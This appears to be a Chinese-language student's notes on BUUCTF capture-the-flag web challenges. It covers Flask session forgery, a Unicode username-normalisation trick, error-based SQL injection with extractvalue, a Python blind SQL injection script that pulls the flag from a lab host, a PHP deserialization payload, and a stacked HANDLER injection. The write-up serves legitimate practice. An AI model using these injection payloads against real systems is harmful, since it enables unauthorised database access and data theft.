17.[ACTF2020 新生赛]Upload
18.[极客大挑战 2019]BabySQL
19. [ACTF2020 新生赛]BackupFile
20.[HCTF 2018]admin
第一种解法:Flask Session身份伪造
伪造原理
flask的session是存储在客户端cookie中的,而且flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。
通常情况下会和SSTI知识点同步考察。
利用方式
我们可以用python脚本把flask的session解密出来,但是如果想要加密伪造生成我们自己的session的话,还需要知道flask用来签名的SECRET_KEY
第二种解法--unicode欺骗:
name = strlower(session['name'])
def strlower(username): username = nodeprep.prepare(username) return username这个nodeprep.prepare存在漏洞。我们还会发现,login的时候又strlower一次。这个本来是转小写的,但是如果我们注册的用户名是这个:
ᴬᴰᴹᴵᴺ
login的时候会经过一次strlower会编程ADMIN,在change password的时候会变成admin。因此可以更改admin的密码,从而完成登录
ᴀʙᴄᴅᴇꜰɢʜɪᴊᴋʟᴍɴᴏᴘʀꜱᴛᴜᴠᴡʏᴢ
21.[极客大挑战 2019]BuyFlag
22. [BJDCTF2020]Easy MD5
23. [ZJCTF 2019]NiZhuanSiWei
24. [SUCTF 2019]CheckIn (这台电脑的webshell工具老是装不上,只做到了上传,没有连接)
25. [极客大挑战 2019]HardSQL
语法:extractvalue(目标xml文档,xml路径)
第一个参数 : 第一个参数可以传入目标xml文档
第二个参数: xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错
它能够查询的字符串长度最大是32个字符,如果超过32位,我们就需要用函数来查询,比如right(),left(),substr()来截取字符串
2. 利用left()、right()函数获取不同位置的字符串26. [CISCN2019 华北赛区 Day2 Web1]Hack World
import requests url = 'http://2ea5720e-0400-43d2-a85d-d039795f2b98.node4.buuoj.cn/' target_str = 'Hello, glzjin wants a girlfriend.' res = '' for i in range(1, 129): # 128位的字符串 stop = 0 for j in range(32, 129): # ascii 32到128的字符 stop = j # 第i个字符与j比较 # db: ctftraining # data = {'id': '(ascii(substr(database(),%d,1))=%d)' % (i, j)} data = {'id': '(ascii(substr((select(flag)from(flag)),%d,1))=%d)' % (i, j)} re = requests.post(url=url, data=data).text.replace('\n', '') if target_str in re: res += chr(j) print('res: ==> ', res) break if stop >= 128: print("结束 ==> ", res) break
27. [GXYCTF2019]BabySQli
select * from user where username = '$name'对name操作
28. [网鼎杯 2020 青龙组]AreUSerialz
<?php class FileHandler { public $op = 2; public $filename = "flag.php"; // public $filename = "php://filter/read=convert.base64-encode/resource=flag.php"; public $content = "a"; } $str = new FileHandler(); var_dump(serialize($str)); ?>把输出放在payload即可
29. [MRCTF2020]你传你🐎呢
30.[MRCTF2020]Ez_bypass
31. [网鼎杯 2018]Fakebook
32. [GYCTF2020]Blacklist
HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭
1'; HANDLER FlagHere OPEN; HANDLER FlagHere READ FIRST; HANDLER FlagHere CLOSE;#